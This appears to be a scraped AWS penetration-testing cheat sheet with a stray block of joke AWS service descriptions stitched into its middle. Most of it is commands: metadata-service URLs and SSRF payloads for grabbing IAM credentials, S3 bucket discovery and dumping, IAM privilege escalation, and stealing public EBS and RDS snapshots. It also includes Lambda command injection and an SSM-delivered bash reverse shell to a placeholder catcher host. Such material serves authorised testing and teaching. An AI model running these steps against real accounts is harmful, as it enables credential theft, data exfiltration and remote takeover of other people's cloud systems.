    http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
    http://169.254.169.254/latest/meta-data/
    http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
    http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
    http://169.254.169.254/latest/meta-data/ami-id
    http://169.254.169.254/latest/meta-data/reservation-id
    http://169.254.169.254/latest/meta-data/hostname
    http://169.254.169.254/latest/meta-data/public-keys/
    http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
    http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
    http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
    http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access
    http://169.254.169.254/latest/dynamic/instance-identity/document
    # Find subdomains
    
    ./sub.sh -s example.com
    assetfinder example.com
    ## Bruteforcing
    python3 dnsrecon.py -d example.com -D subdomains-top1mil-5000.txt -t brt
    
    # Reverse DNS lookups
    host subdomain.domain.com
    host IP
    
    # Bucket finders
    python3 cloud_enum.py -k example.com
    ruby lazys3.rb companyname
    # https://github.com/bbb31/slurp
    slurp domain -t example.com

    Amazon Unlimited FTP Server

    Store images and other assets for websites. Keep backups and share files between services. Host static websites. Also, many of the other AWS services write and read from S3.

    VPC

    Amazon Virtual Colocated Rack

    Overcome objections that "all our stuff is on the internet!" by adding an additional layer of security. Makes it appear as if all of your AWS services are on the same little network instead of being small pieces in a much bigger network.

    If you're familar with networking: VLANs

    Lambda

    AWS App Scripts

    Run little self contained snippets of JS, Java or Python to do discrete tasks. Sort of a combination of a queue and execution in one. Used for storing and then executing changes to your AWS setup or responding to events in S3 or DynamoDB.

    API Gateway

    API Proxy

    Proxy your apps API through this so you can throttle bad client traffic, test new versions, and present methods more cleanly.

    3Scale

    RDS

    Amazon SQL

    Be your app's Mysql, Postgres, and Oracle database.

    Heroku Postgres

    Route53

    Amazon DNS + Domains

    Buy a new domain and set up the DNS records for that domain.

    DNSimple, GoDaddy, Gandi

    SES

    Amazon Transactional Email

    Send one-off emails like password resets, notifications, etc. You could use it to send a newsletter if you wrote all the code, but that's not a great idea.

    SendGrid, Mandrill, Postmark

    Cloudfront

    Amazon CDN

    Make your websites load faster by spreading out static file delivery to be closer to where your users are.

    MaxCDN, Akamai

    CloudSearch

    Amazon Fulltext Search

    Pull in data on S3 or in RDS and then search it for every instance of 'Jimmy.'

    Sphinx, Solr, ElasticSearch

    DynamoDB

    Amazon NoSQL

    Be your app's massively scalable key valueish store.

    MongoLab

    Elasticache

    Amazon Memcached

    Be your app's Memcached or Redis.

    Redis to Go, Memcachier

    Elastic Transcoder

    Amazon Beginning Cut Pro

    Deal with video weirdness (change formats, compress, etc.).

    SQS

    Amazon Queue

    Store data for future processing in a queue. The lingo for this is storing "messages" but it doesn't have anything to do with email or SMS. SQS doesn't have any logic, it's just a place to put things and take things out.

    RabbitMQ, Sidekiq

    WAF

    AWS Firewall

    Block bad requests to Cloudfront protected sites (aka stop people trying 10,000 passwords against /wp-admin)

    Sophos, Kapersky

    Cognito

    Amazon OAuth as a Service

    Give end users - (non AWS) - the ability to log in with Google, Facebook, etc.

    OAuth.io

    Device Farm

    Amazon Drawer of Old Android Devices

    Test your app on a bunch of different IOS and Android devices simultaneously.

    MobileTest, iOS emulator

    Mobile Analytics

    Spot on Name, Amazon Product Managers take note

    Track what people are doing inside of your app.

    Flurry

    SNS

    Amazon Messenger

    Send mobile notifications, emails and/or SMS messages

    UrbanAirship, Twilio

    CodeCommit

    Amazon GitHub

    Version control your code - hosted Git.

    Github, BitBucket

    Code Deploy

    Not bad

    Get your code from your CodeCommit repo (or Github) onto a bunch of EC2 instances in a sane way.

    Heroku, Capistrano

    CodePipeline

    Amazon Continuous Integration

    Run automated tests on your code and then do stuff with it depending on if it passes those tests.

    CircleCI, Travis

    EC2 Container Service

    Amazon Docker as a Service

    Put a Dockerfile into an EC2 instance so you can run a website.

    Elastic Beanstalk

    Amazon Platform as a Service

    Move your app hosted on Heroku to AWS when it gets too expensive.

    Heroku, BlueMix, Modulus

    AppStream

    Amazon Citrix

    Put a copy of a Windows application on a Windows machine that people get remote access to.

    Citrix, RDP

    Direct Connect

    Pretty spot on actually

    Pay your Telco + AWS to get a dedicated leased line from your data center or network to AWS. Cheaper than Internet out for Data.

    A toll road turnpike bypassing the crowded side streets.

    Directory Service

    Pretty spot on actually

    Tie together other apps that need a Microsoft Active Directory to control them.

    WorkDocs

    Amazon Unstructured Files

    Share Word Docs with your colleagues.

    Dropbox, DataAnywhere

    WorkMail

    Amazon Company Email

    Give everyone in your company the same email system and calendar.

    Google Apps for Domains

    Workspaces

    Amazon Remote Computer

    Gives you a standard windows desktop that you're remotely controlling.

    Service Catalog

    Amazon Setup Already

    Give other AWS users in your group access to preset apps you've built so they don't have to read guides like this.

    Storage Gateway

    S3 pretending it's part of your corporate network

    Stop buying more storage to keep Word Docs on. Make automating getting files into S3 from your corporate network easier.

    Data Pipeline

    Amazon ETL

    Extract, Transform and Load data from elsewhere in AWS. Schedule when it happens and get alerts when they fail.

    Elastic Map Reduce

    Amazon Hadooper

    Iterate over massive text files of raw data that you're keeping in S3.

    Treasure Data

    Glacier

    Really slow Amazon S3

    Make backups of your backups that you keep on S3. Also, beware the cost of getting data back out in a hurry. For long term archiving.

    Kinesis

    Amazon High Throughput

    Ingest lots of data very quickly (for things like analytics or people retweeting Kanye) that you then later use other AWS services to analyze.

    Kafka

    RedShift

    Amazon Data Warehouse

    Store a whole bunch of analytics data, do some processing, and dump it out.

    Machine Learning

    Skynet

    Predict future behavior from existing data for problems like fraud detection or "people that bought x also bought y."

    SWF

    Amazon EC2 Queue

    Build a service of "deciders" and "workers" on top of EC2 to accomplish a set task. Unlike SQS - logic is set up inside the service to determine how and what should happen.

    IronWorker

    Snowball

    AWS Big Old Portable Storage

    Get a bunch of hard drives you can attach to your network to make getting large amounts (Terabytes of Data) into and out of AWS.

    Shipping a Network Attached Storage device to AWS

    CloudFormation

    Amazon Services Setup

    Set up a bunch of connected AWS services in one go.

    CloudTrail

    Amazon Logging

    Log who is doing what in your AWS stack (API calls).

    CloudWatch

    Amazon Status Pager

    Get alerts about AWS services messing up or disconnecting.

    PagerDuty, Statuspage

    Config

    Amazon Configuration Management

    Keep from going insane if you have a large AWS setup and changes are happening that you want to track.

    OpsWorks

    Amazon Chef

    Handle running your application with things like auto-scaling.

    Trusted Advisor

    Amazon Pennypincher

    Find out where you're paying too much in your AWS setup (unused EC2 instances, etc.).

    Inspector

    Amazon Auditor

    Scans your AWS setup to determine if you've setup it up in an insecure way

    Alert Logic

    EC2

    Amazon Virtual Servers

    Host the bits of things you think of as a computer.

    It's handwavy, but EC2 instances are similar to the virtual private servers you'd get at Linode, DigitalOcean or Rackspace.

    IAM

    Users, Keys and Certs

    Set up additional users, set up new AWS Keys and policies.

    S3

    Logo
    # https://github.com/carnal0wnage/weirdAAL
    pip3 install -r requirements
    cp env.sample .env
    vim .env
    python3 weirdAAL.py -l
    
    # https://github.com/RhinoSecurityLabs/pacu
    bash install.sh
    python3 pacu.py
    import_keys --all
    ls
    
    # https://github.com/dagrz/aws_pwn
    # Lot of scripts for different purposes, check github
    
    # IAM resources finder
    # https://github.com/BishopFox/smogcloud
    smogcloud
    
    # Red team scripts for AWS
    # https://github.com/elitest/Redboto
    
    # AWS Bloodhound
    # https://github.com/lyft/cartography
    
    # AWS Exploitation Framework
    # https://github.com/grines/scour
    aws s3 ls s3:// 
    aws s3api list-buckets
    aws s3 ls s3://bucket.com
    aws s3 ls --recursive s3://bucket.com
    aws s3 sync s3://bucketname s3-files-dir
    aws s3 cp s3://bucket-name/<file> <destination>
    aws s3 cp/mv test-file.txt s3://bucket-name
    aws s3 rm s3://bucket-name/test-file.txt
    aws s3api get-bucket-acl --bucket bucket-name # Check owner
    aws s3api head-object --bucket bucket-name --key file.txt # Check file metadata
    # Find buckets from keyword or company name
    # https://github.com/nahamsec/lazys3
    ruby lazys3.rb companyname
    
    # https://github.com/initstring/cloud_enum
    python3 cloud_enum.py -k companynameorkeyword
    
    # https://github.com/gwen001/s3-buckets-finder
    php s3-buckets-bruteforcer.php --bucket gwen001-test002
    
    # Public s3 buckets
    https://buckets.grayhatwarfare.com
    https://github.com/eth0izzle/bucket-stream
    
    # https://github.com/cr0hn/festin
    festin mydomain.com
    festin -f domains.txt 
    
    # Google dork
    site:.s3.amazonaws.com "Company"
    # https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets
    alias flumberbuckets='sudo python3 PATH/flumberboozle/flumberbuckets/flumberbuckets.py -p'
    echo "bucket" | flumberbuckets -si -
    cat hosts.txt | flumberbuckets -si -
    
    # https://github.com/sa7mon/S3Scanner
    sudo python3 s3scanner.py sites.txt
    sudo python ./s3scanner.py --include-closed --out-file found.txt --dump names.txt
    
    # https://github.com/clario-tech/s3-inspector
    python s3inspector.py
    
    # https://github.com/jordanpotti/AWSBucketDump
    source /home/cloudhacker/tools/AWSBucketDump/bin/activate
    touch s.txt
    sed -i "s,$,-$bapname-awscloudsec,g" /home/cloudhacker/tools/AWSBucketDump/BucketNames.txt
    python AWSBucketDump.py -D -l BucketNames.txt -g s.txt
    
    # https://github.com/Ucnt/aws-s3-data-finder/
    python3 find_data.py -n bucketname -u
    
    # https://github.com/VirtueSecurity/aws-extender-cli
    python3 aws_extender_cli.py -s S3 -b flaws.cloud
    # S3 Bucket Pillaging
    
    • GOAL: Locate Amazon S3 buckets and search them for interesting data
    • In this lab you will attempt to identify a publicly accessible S3 bucket hosted by an organization. After identifying it you will list out the contents of it and download the files hosted there.
    
    ~$ sudo apt-get install python3-pip
    ~$ git clone https://github.com/RhinoSecurityLabs/pacu
    ~$ cd pacu
    ~$ sudo bash install.sh
    ~$ sudo aws configure
    ~$ sudo python3 pacu.py
    
    Pacu > import_keys --all
    # Search by domain
    Pacu > run s3__bucket_finder -d glitchcloud 
    # List files in bucket
    Pacu > aws s3 ls s3://glitchcloud
    # Download files
    Pacu > aws s3 sync s3://glitchcloud s3-files-dir
    
    # S3 Code Injection
    • Backdoor JavaScript in S3 Buckets used by webapps 
    • In March, 2018 a crypto-miner malware was found to be loading on MSN’s homepage
    • This was due to AOL’s advertising platform having a writeable S3 bucket, which was being served by MSN
    • If a webapp is loading content from an S3 bucket made publicly writeable attackers can upload  malicious JS to get executed by visitors 
    • Can perform XSS-type attacks against webapp visitors
    • Hook browser with Beef
    
    # Domain Hijacking
    • Hijack S3 domain by finding references in a webapp to S3 buckets that don’t exist anymore
    • Or… subdomains that were linked to an S3 bucket with CNAME’s that still exist
    • When assessing webapps look for 404’s to *.s3.amazonaws.com
    • When brute forcing subdomains for an org look for 404’s with ‘NoSuchBucket’ error 
    • Go create the S3 bucket with the same name and region 
    • Load malicious content to the new S3 bucket that will be executed when visitors hit the site
    #!/bin/bash
    for i in "$@" ; do
     if [[ $i == "--profile" ]] ; then
                profile=$(echo "$@" | awk '{for(i=1;i<=NF;i++) if ($i=="--profile") print $(i+1)}')
                AWS_ACCESS_KEY_ID=$(cat /root/.aws/credentials | grep -i "$profile" -A 2 | grep -i = | cut -d " " -f 3 | head -n 1)
                AWS_SECRET_ACCESS_KEY=$(cat /root/.aws/credentials | grep -i "$profile" -A 2 | grep -i = | cut -d " " -f 3 | tail -n 1)
                break
            fi
    done
    echo "Enumerating the buckets..."
        aws --profile "$profile" s3 ls | cut -d ' ' -f 3 > /tmp/buckets
    echo "You can read the following buckets:"
        >/tmp/readBuckets
    for i in $(cat /tmp/buckets); do
        result=$(aws --profile "$profile" s3 ls s3://"$i" 2>/dev/null | head -n 1)
        if [ ! -z "$result" ]; then
                echo "$i" | tee /tmp/readBuckets
                        unset result
        fi
    done
    # ~/.aws/credentials
    [default]
    aws_access_key_id = XXX
    aws_secret_access_key = XXXX
    
    export AWS_ACCESS_KEY_ID=
    export AWS_SECRET_ACCESS_KEY=
    export AWS_DEFAULT_REGION=
    
    # Check valid
    aws sts get-caller-identity
    aws sdb list-domains --region us-east-1
    
    # If we can steal AWS credentials, add to your configuration
    aws configure --profile stolen
    # Open ~/.aws/credentials
    # Under the [stolen] section add aws_session_token and add the discovered token value here
    aws sts get-caller-identity --profile stolen
    
    # Get account id
    aws sts get-access-key-info --access-key-id=ASIA1234567890123456
    
    aws iam get-account-password-policy
    aws sts get-session-token
    aws iam list-users
    aws iam list-roles
    aws iam list-access-keys --user-name <username>
    aws iam create-access-key --user-name <username>
    aws iam list-attached-user-policies --user-name XXXX
    aws iam get-policy
    aws iam get-policy-version
    
    aws deploy list-applications
    
    aws directconnect describe-connections
    
    aws secretsmanager get-secret-value --secret-id <value> --profile <container tokens>
    
    aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa
    
    # IAM Prefix meaning
    ABIA - AWS STS service bearer token
    ACCA - Context-specific credential
    AGPA - Group
    AIDA - IAM user
    AIPA - Amazon EC2 instance profile
    AKIA - Access key
    ANPA - Managed policy
    ANVA - Version in a managed policy
    APKA - Public key
    AROA - Role
    ASCA - Certificate
    ASIA - Temporary (AWS STS) access key IDs use this prefix, but are unique only in combination with the secret access key and the session token.
    # https://github.com/andresriancho/enumerate-iam
    python enumerate-iam.py --access-key XXXXXXXXXXXXX --secret-key XXXXXXXXXXX
    python enumerate-iam.py --access-key "ACCESSKEY" --secret-key "SECRETKEY" (--session-token "$AWS_SESSION_TOKEN")
    
    # https://github.com/RhinoSecurityLabs/Security-Research/blob/master/tools/aws-pentest-tools/aws_escalate.py
    python aws_escalate.py
    
    # https://github.com/andresriancho/nimbostratus
    python2 nimbostratus dump-permissions
    
    # https://github.com/nccgroup/ScoutSuite
    python3 scout.py aws
    
    # https://github.com/salesforce/cloudsplaining
    cloudsplaining download
    cloudsplaining scan
    
    # Enumerate IAM permissions without logging (stealth mode)
    # https://github.com/Frichetten/aws_stealth_perm_enum
    
    # Unauthenticated (only account id) Enumeration of IAM Users and Roles 
    # https://github.com/Frichetten/enumate_iam_using_bucket_policy
    
    # AWS Consoler
    # https://github.com/NetSPI/aws_consoler
    # Generate link to console from valid credentials
    aws_consoler -a ASIAXXXX -s SECRETXXXX -t TOKENXXXX
    
    # AWSRoleJuggler
    # https://github.com/hotnops/AWSRoleJuggler/
    # You can use one assumed role to assume another one
    ./find_circular_trust.py 
    python aws_role_juggler.py -r arn:aws:iam::123456789:role/BuildRole arn:aws:iam::123456789:role/GitRole arn:aws:iam::123456789:role/ArtiRole
    
    # https://github.com/prisma-cloud/IAMFinder
    python3 iamfinder.py init
    python3 iamfinder.py enum_user --aws_id 123456789012
    
    # https://github.com/nccgroup/PMapper
    # Check IAM permissions
    
    # https://github.com/prowler-cloud/prowler
    # almost 300 checks for AWS but for pentesting and enumeraiton run:
    prowler aws --categories internet-exposed
    prowler aws --categories secrets
    # see if there is something exposed in shodan from that account
    prowler -c ec2_elastic_ip_shodan --shodan $SHODAN_API_KEY --verbose
    # check for the most important checks in terms of severity
    prowler aws --severity critical high
    # First of all, set your profile
    aws configure --profile test 
    set profile=test # Just for convenience
    
    # Get policies available
    aws --profile "$profile" iam list-policies | jq -r ".Policies[].Arn"
    # Get specific policy version
    aws --profile "$profile" iam get-policy --policy-arn "$i" --query "Policy.DefaultVersionId" --output text
    # Get all juicy info oneliner (search for Action/Resource */*)
    profile="test"; for i in $(aws --profile "$profile" iam list-policies | jq -r '.Policies[].Arn'); do echo "Describing policy $i" && aws --profile "$profile" iam get-policy-version --policy-arn "$i" --version-id $(aws --profile "$profile" iam get-policy --policy-arn "$i" --query 'Policy.DefaultVersionId' --output text); done | tee /tmp/policies.log 
    
    #List Managed User policies
    aws --profile "test" iam list-attached-user-policies --user-name "test-user"
    #List Managed Group policies
    aws --profile "test" iam list-attached-group-policies --group-name "test-group"
    #List Managed Role policies
    aws --profile "test" iam list-attached-role-policies --role-name "test-role"
    
    #List Inline User policies
    aws --profile "test" iam list-user-policies --user-name "test-user"
    #List Inline Group policies
    aws --profile "test" iam list-group-policies --group-name "test-group"
    #List Inline Role policies
    aws --profile "test" iam list-role-policies --role-name "test-role"
    
    #Describe Inline User policies 
    aws --profile "test" iam get-user-policy --user-name "test-user" --policy-name "test-policy"
    #Describe Inline Group policies
    aws --profile "test" iam get-group-policy --group-name "test-group" --policy-name "test-policy"
    #Describe Inline Role policies
    aws --profile "test" iam get-role-policy --role-name "test-role" --policy-name "test-policy"
    
    # List roles policies
    aws --profile "test" iam get-role --role-name "test-role" 
    
    # Assume role from any ec2 instance (get Admin)
    # Create instance profile
    aws iam create-instance-profile --instance-profile-name YourNewRole-Instance-Profile
    # Associate role to Instance Profile
    aws iam add-role-to-instance-profile --role-name YourNewRole --instance-profile-name YourNewRole-Instance-Profile
    # Associate Instance Profile with instance you want to use
    aws ec2 associate-iam-instance-profile --instance-id YourInstanceId --iam-instance-profile Name=YourNewRole-Instance-Profile
    
    # Get assumed roles in instance
    aws --profile test sts get-caller-identity
    
    # Shadow admin
    aws iam list-attached-user-policies --user-name {}
    aws iam get-policy-version --policy-arn provide_policy_arn --version-id $(aws iam get-policy --policy-arn provide_policy_arn --query 'Policy.DefaultVersionId' --output text)
    aws iam list-user-policies --user-name {}
    aws iam get-user-policy --policy-name policy_name_from_above_command --user-name {} | python -m json.tool
    # Vulnerables policies:
    iam:CreatUser
    iam:CreateLoginProfile
    iam:UpdateProfile
    iam:AddUserToGroup
    # Dufflebag https://github.com/bishopfox/dufflebag
    # Discover EBS Snapshot and mount it to navigate
    - Obtaning public snapshot name
    aws ec2 describe-snapshots --region us-east-1 --restorable-by-user-ids all | grep -C 10 "company secrets"
    - Obtaining zone and instance
    aws ec2 describe-instances --filters Name=tag:Name,Values=attacker-machine
    - Create a new volume of it
    aws ec2 create-volume --snapshot-id snap-03616657ede4b9862 --availability-zone <ZONE-HERE>
    - Attach to an EC2 instance
    aws ec2 attach-volume --device /dev/sdh --instance-id <INSTANCE-ID> --volume-id <VOLUME-ID>
        - It takes some time, to see the status:
        aws ec2 describe-volumes --filters Name=volume-id,Values=<VOLUME-ID>
    - Once is mounted in EC2 instance, check it, mount it and access it:
    sudo lsblk
    sudo mount /dev/xvdh1 /mnt
    cd /mnt/home/user/companydata
    # WeirdAAL https://github.com/carnal0wnage/weirdAAL
    # Like traditional host
    - Port enumeration
    - Attack interesting services like ssh or rdp
    
    aws ec2 describe-instances
    aws ssm describe-instance-information
    aws ec2 describe-snapshots
    aws ec2 describe-security-groups --group-ids <VPC Security Group ID> --region <region>
    aws ec2 create-volume --snapshot-id snap-123123123
    aws ec2 describe-snapshots --owner-ids {user-id}
    
    # SSH into created instance:
    ssh -i ".ssh/key.pem" <user>@<instance-ip>
    sudo mount /dev/xvdb1 /mnt
    cat /mnt/home/ubuntu/setupNginx.sh
    
    # EC2 security group
    aws ec2 describe-security-groups
    aws ec2 describe-security-groups --filters Name=ip-permission.cidr,Values='0.0.0.0/0' --query "SecurityGroups[*].[GroupName]" --output text
    # SSRF to http://169.254.169.254 (Metadata server)
    curl http://<ec2-ip-address>/\?url\=http://169.254.169.254/latest/meta-data/iam/security-credentials/
    http://169.254.169.254/latest/meta-data
    http://169.254.169.254/latest/meta-data/ami-id
    http://169.254.169.254/latest/meta-data/public-hostname
    http://169.254.169.254/latest/meta-data/public-keys/
    http://169.254.169.254/latest/meta-data/network/interfaces/
    http://169.254.169.254/latest/meta-data/local-ipv4
    http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key/
    http://169.254.169.254/latest/user-data
    
    # Find IAM Security Credentials
    http://169.254.169.254/latest/meta-data/
    http://169.254.169.254/latest/meta-data/iam/
    http://169.254.169.254/latest/meta-data/iam/security-credentials/
    
    # Using EC2 instance metadata tool
    ec2-metadata -h
    # With EC2 Instance Meta Data Service version 2 (IMDSv2):
    Append X-aws-ec2-metadata-token Header generated with a PUT request to http://169.254.169.254/latest/api/token
    
    # Check directly for metadata instance
    curl -s http://<ec2-ip-address>/latest/meta-data/ -H 'Host:169.254.169.254'
    
    # EC2 instance connect
    aws ec2 describe-instances | jq ".[][].Instances | .[] | {InstanceId, KeyName, State}"
    aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INSTANCE_WE_GOT_PREVIOUSLY --availability-zone zone --instance-os-user ubuntu --ssh-public-key file://shortkey.pub
    
    # EC2 AMI - Read instance, create AMI for instance and run
    aws ec2 describe-images --region specific-region
    aws ec2 create-image --instance-id ID --name "EXPLOIT" --description "Export AMI" --region specific-region
    aws ec2 import-key-pair --key-name "EXPLOIT" --public-key-material fileb:///publickeyfile
    aws ec2 describe-images --filters "Name=name,Values=EXPLOIT"
    aws ec2 run-instances --image-id {} --security-group-ids "" --subnet-id {} --count 1 --instance-type t2.micro --key-name EXPLOIT
    
    # Create volume from snapshot & attach to instance id && mount in local
    aws ec2 create-volume –snapshot-id snapshot_id --availability-zone zone
    aws ec2 attach-volume --volume-id above-volume-id --instance-id instance-id --device /dev/sdf
    
    # Privesc with modify-instance-attribute
    aws ec2 modify-instance-attribute --instance-id=xxx --attribute userData --value file://file.b64.txt
    file.b64.txt contains (and after base64 file.txt > file.b64.txt):
    ```
    Content-Type: multipart/mixed; boundary="//"
    MIME-Version: 1.0
    
    --//
    Content-Type: text/cloud-config; charset="us-ascii"
    MIME-Version: 1.0
    Content-Transfer-Encoding: 7bit
    Content-Disposition: attachment; filename="cloud-config.txt"
    
    #cloud-config
    cloud_final_modules:
    - [scripts-user, always]
    
    --//
    Content-Type: text/x-shellscript; charset="us-ascii"
    MIME-Version: 1.0
    Content-Transfer-Encoding: 7bit
    Content-Disposition: attachment; filename="userdata.txt"
    
    #!/bin/bash
    **commands here** (reverse shell, set ssh keys...)
    --//
    ```
    
    # Privesc 2 with user data
    # On first launch, the EC2 instance will pull the start_script from S3 and will run it. If an adversary can write to that location, they can escalate privileges or gain control of the EC2 instance.
    #!/bin/bash
    aws s3 cp s3://example-boot-bucket/start_script.sh /root/start_script.sh
    chmod +x /root/start_script.sh
    /root/start_script.sh
    # EC2 Shadow Copy attack
    # https://github.com/Static-Flow/CloudCopy
    
    # EC2 secrets recovery
    # https://github.com/akhil-reni/ud-peep
    Cloudfront is a CDN and it checks the HOST header in CNAMES, so:
    - The domain "test.disloops.com" is a CNAME record that points to "disloops.com".
    - The "disloops.com" domain is set up to use a CloudFront distribution.
    - Because "test.disloops.com" was not added to the "Alternate Domain Names (CNAMEs)" field for the distribution, requests to "test.disloops.com" will fail.
    - Another user can create a CloudFront distribution and add "test.disloops.com" to the "Alternate Domain Names (CNAMEs)" field to hijack the domain.
    # https://github.com/MindPointGroup/cloudfrunt
    git clone --recursive https://github.com/MindPointGroup/cloudfrunt
    pip install -r requirements.txt
    python cloudfrunt.py -o cloudfrunt.com.s3-website-us-east-1.amazonaws.com -i S3-cloudfrunt -l list.txt
    # Welcome to serverless!!!!
    # AWS Lambda, essentially are short lived servers that run your function and provide you with output that can be then used in other applications or consumed by other endpoints.
    
    # OS command Injection in Lambda
    curl "https://API-endpoint/api/stringhere"
    
    # For a md5 converter endpoint "https://API-endpoint/api/hello;id;w;cat%20%2fetc%2fpasswd"
    aws lambda list-functions
    aws lambda get-function --function-name <FUNCTION-NAME>
    aws lambda get-policy
    aws apigateway get-stages
    
    # Download function code
    aws lambda list-functions
    aws lambda get-function --function-name name_we_retrieved_from_above --query 'Code.Location'
    wget -O myfunction.zip URL_from_above_step
    
    # Steal creds via XXE or SSRF reading:
    /proc/self/environ
    # If blocked try to read other vars:
    /proc/[1..20]/environ
    # https://github.com/puresec/lambda-proxy
    # SQLMap to Lambda!!!
    python3 main.py
    sqlmap -r request.txt
    
    # https://github.com/twistlock/splash
    # Pseudo Lambda Shell
    
    # Amazon Inspector is an automated security assessment service that helps improve the security and compliance of applications deployed on AWS.
    aws rds describe-db-instances
    # Just like a MySQL, try for sqli!
    # Check if 3306 is exposed
    # Sqlmap is your friend ;)
    
    # Stealing RDS Snapshots
    - Searching partial snapshots
    aws rds describe-db-snapshots --include-public --snapshot-type public --db-snapshot-identifier arn:aws:rds:us-east-1:159236164734:snapshot:globalbutterdbbackup
    - Restore in instance
    aws rds restore-db-instance-from-db-snapshot --db-instance-identifier recoverdb --publicly-accessible --db-snapshot-identifier arn:aws:rds:us-east-1:159236164734:snapshot:globalbutterdbbackup --availability-zone us-east-1b
    - Once restored, try to access
    aws rds describe-db-instances --db-instance-identifier recoverdb
    - Reset the master credentials
    aws rds modify-db-instance --db-instance-identifier recoverdb --master-user-password NewPassword1 --apply-immediately
        - Takes some time, you can check the status:
        aws rds describe-db-instances
    - Try to access it from EC2 instance which was restored
    nc rds-endpoint 3306 -zvv    
    - If you can't see, you may open 3306:
        - In RDS console, click on the recoverdb instance
        - Click on the Security Group
        - Add an Inbound rule for port 3306 TCP for Cloudhacker IP
     - Then connect it
     mysql -u <username> -p -h <rds-instance-endpoint>
    
    Amazon Elastic Container Registry - Docker container registry
    aws ecr get-login
    aws ecr get-login-password | docker login --username AWS --password-stdin XXXXXXXXX.dkr.ecr.eu-west-1.amazonaws.com/some-registry && docker pull XXXXXXXX.dkr.ecr.eu-west-1.amazonaws.com/docker-test:latest && docker inspect docker-test
    aws ecr list-images --repository-name REPO_NAME --registry-id ACCOUNT_ID
    aws ecr batch-get-image --repository-name XXXX --registry-id XXXX --image-ids imageTag=latest
    aws ecr get-download-url-for-layer --repository-name XXXX --registry-id XXXX --layer-digest "sha256:XXXXX"
    
    # After AWS credentials compromised
    
    # https://github.com/RhinoSecurityLabs/ccat
    docker run -it -v ~/.aws:/root/.aws/ -v /var/run/docker.sock:/var/run/docker.sock -v ${PWD}:/app/ rhinosecuritylabs/ccat:latest
    ECS - Elastic Container Service (is a container orchestration service)
    # Check for cognito-identity requests with GetCredentialsForIdentity 
    # AWS SSM
    - The agent must be installed in the machines
    - It's used to create roles and policies
    
    # Executing commands
    aws ssm describe-instance-information #Get instance
    aws ssm describe-instance-information --output text --query "InstanceInformationList[*]"
    - Get "ifconfig" commandId
    aws ssm send-command --instance-ids "INSTANCE-ID-HERE" --document-name "AWS-RunShellScript" --comment "IP config" --parameters commands=ifconfig --output text --query "Command.CommandId"
    - Execute CommandID generated for ifconfig
    aws ssm list-command-invocations --command-id "COMMAND-ID-HERE" --details --query "CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}"
    
    # RCE
    aws ssm send-command --document-name "AWS-RunShellScript" --comment "RCE test: whoami" --targets "Key=instanceids,Values=[instanceid]" --parameters 'commands=whoami'
    aws ssm list-command-invocations --command-id "[CommandId]" --details
    
    # Getting shell
    - You already need to have reverse.sh uploaded to s3
    #!/bin/bash
    bash -i >& /dev/tcp/REVERSE-SHELL-CATCHER/9999 0>&1
    - Start your listener
    aws ssm send-command --document-name "AWS-RunRemoteScript" --instance-ids "INSTANCE-ID-HERE" --parameters '{"sourceType":["S3"],"sourceInfo":["{\"path\":\"PATH-TO-S3-SHELL-SCRIPT\"}"],"commandLine":["/bin/bash NAME-OF-SHELL-SCRIPT"]}' --query "Command.CommandId"
    
    # Read info from SSM
    aws ssm describe-parameters
    aws ssm get-parameters --name <NameYouFindAbove>
    
    # EC2 with SSM enabled leads to RCE
    aws ssm send-command --instance-ids "INSTANCE-ID-HERE" --document-name "AWS-RunShellScript" --comment "IP Config" --parameters commands=ifconfig --output text --query "Command.CommandId" --profile stolencreds
    aws ssm list-command-invocations --command-id "COMMAND-ID-HERE" --details --query "CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}" --profile stolencreds
    Logo
    https://o365blog.com/aadinternals/#get-aadinttenantdomainso365blog.com
    Read2Own: Red Teaming Microsoft Azureitm8
    Logo
    A Pentester’s Approach to Kubernetes Security — Part 2Medium
    Logo
    Penetration testing a Kubernetes environmentMedium
    Logo